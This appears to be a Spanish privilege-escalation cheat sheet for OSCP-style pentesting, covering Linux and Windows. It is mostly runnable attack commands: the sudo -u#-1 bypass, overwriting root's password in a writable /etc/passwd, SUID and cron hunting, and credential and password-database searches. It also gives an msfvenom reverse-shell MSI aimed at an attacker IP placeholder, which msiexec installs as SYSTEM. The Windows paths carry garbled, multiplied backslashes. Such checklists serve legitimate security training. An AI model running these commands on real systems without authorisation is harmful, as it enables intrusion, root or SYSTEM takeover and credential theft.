Escalada de privilegios

Linux

Recursos

Vectores de escalada sencillos

Usuario con credenciales válidas (sudo -l):

  • Ejecutar sudo -l para ver qué binarios se pueden ejecutar con sudo, consultar GTFOBins

  • Ejecutar sudo -V para obtener la versión, si es inferior a 1.28, se puede usar sudo -u#-1 /bin/bash

Binarios SUID:

  • Ejecutar find / -perm -u=s -type f 2>/dev/null

  • Ejecutar find / -perm -4000 2>/dev/null

  • Consultar GTFOBins

Exploits de Kernel:

/etc/passwd con permisos de escritura:

  • Ejecutar ls -la /etc/passwd para ver si se tienen permisos de escritura

  • Ejecutar openssl passwd -1 -salt hacker hacker y reemplazar la entrada de contraseña de root (o eliminar x)

  • Ejecutar su root hacker

Checklist

  • Tratamiento de la TTY si la shell ****si no es interactiva:

    • Ejecutar python -c 'import pty;pty.spawn("/bin/bash")'

    • Ejecutar python -c 'import pty;pty.spawn("/bin/sh")'

    • Ejecutar python3 -c 'import pty;pty.spawn("/bin/bash")'

    • Ejecutar python3 -c 'import pty;pty.spawn("/bin/sh")'

    • Alternativa más completa y estable:

      script /dev/null -c bash # Lanza pseudoconsola
      [ctrl+z] # Suspende la shell actual
      stty raw -echo
      fg # Recupera la shell suspendida
      reset # Reinicia la configuración de la terminal
      xterm # Especifica el tipo de terminal
      export TERM=xterm # Asigna xterm a la variable TERM
      export SHELL=bash # Asigna bash a la variable SHELL
      stty rows <VALOR_FILAS> columns <VALOR_COLUMNAS>
  • Obtener contexto del sistema usuario actual, nombre de host, grupos

    • Ejecutar whoami id hostname

  • Obtener versión del kernel y buscar vulnerabilidades

    • Ejecutar uname -a && searchsploit

  • Verificar sudo (contraseña válida)

    • Ejecutar sudo -l sudo -V (por debajo de 1.28 sudo -u#-1 /bin/bash)

  • Verificar binarios SUID

    • Ejecutar find / -perm -u=s -type f 2>/dev/null

    • Ejecutar find / -perm -4000 2>/dev/null

  • Verificar usuarios y /etc/passwd con permisos de escritura

    • Ejecutar ls -la /etc/passwd / cat /etc/passwd

  • Verificar entorno

    • Ejecutar echo $PATH / (env || set) 2>/dev/null / history / cat ~/.bashrc

  • Verificar procesos

    • Ejecutar ps aux / ps -ef / watch -n 1 "ps -aux | grep pass"

  • Verificar cronjobs

    • Ejecutar ls -lah /etc/cron* / cat /var/log/syslog | grep cron / cat /var/log/cron.log

    • Ejecutar grep "CRON" /var/log/syslog / ls -la /etc/cron.d / ls -la /etc/cron.hourly

  • Verificar archivos escribibles/utilizables y permisos de archivos

    • Ejecutar find / -writable -type d 2>/dev/null

    • Ejecutar find / -perm -u=s -type f 2>/dev/null

    • Ejecutar ls -la

  • Verificar redes y servicios en ejecución en localhost

    • Ejecutar ip a / netstat / ss -natup

Herramientas automatizadas

Windows

Recursos

Vectores de escalada sencillos

Abuso de Tokens

Verificar Registro AlwaysInstallElevated

  • Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated si devuelve 0x1, crear un MSI que se ejecutará como SYSTEM

  • Ejecutar msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msi

  • Ejecutar msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi

Credenciales en caché

  • Ejecutar cmdkey /list

Historial de PowerShell

  • Ejecutar Get-History

  • Ejecutar (Get-PSReadlineOption).HistorySavePath

  • Ejecutar type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt

Cheat Sheet

  • Obtener contexto, usuarios y grupos

    • Ejecutar whoami net user net group whoami /groups

  • Verificar tokens/privilegios

    • Ejecutar whoami /priv >> SeImpersonatePrivilege

  • Verificar claves de registro

    • Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated >> 0x1

  • Verificar credenciales en caché

    • Ejecutar cmdkey /list

  • Verificar historial de PowerShell

    • Ejecutar (Get-PSReadlineOption).HistorySavePath

  • Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas

    • Ejecutar Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

  • Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)

    • Ejecutar C:\\\\\\\\TEMP\\\\\\\\??? C:\\\\\\\\Users\\\\\\\\user\\\\\\\\??? C:\\\\\\\\backup\\\\\\\\??? etc

  • Verificar archivos útiles en el directorio del usuario

    • Ejecutar Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue

    • .log .kdbx .xml cualquier archivo extraño en el directorio del usuario

  • Verificar tareas programadas ejecutadas por niveles superiores

    • Ejecutar Get-ScheduledTask schtasks /query schtasks /query /fo LIST /v

  • Verificar archivos de base de datos de contraseñas

    • Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

  • Verificar archivos de configuración

    • Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

  • Verificar paquetes instalados

    • Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname

    • Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname

Herramientas automatizadas

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Fuente original: https://github.com/intotheewild/OSCP-Checklist

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

Última actualización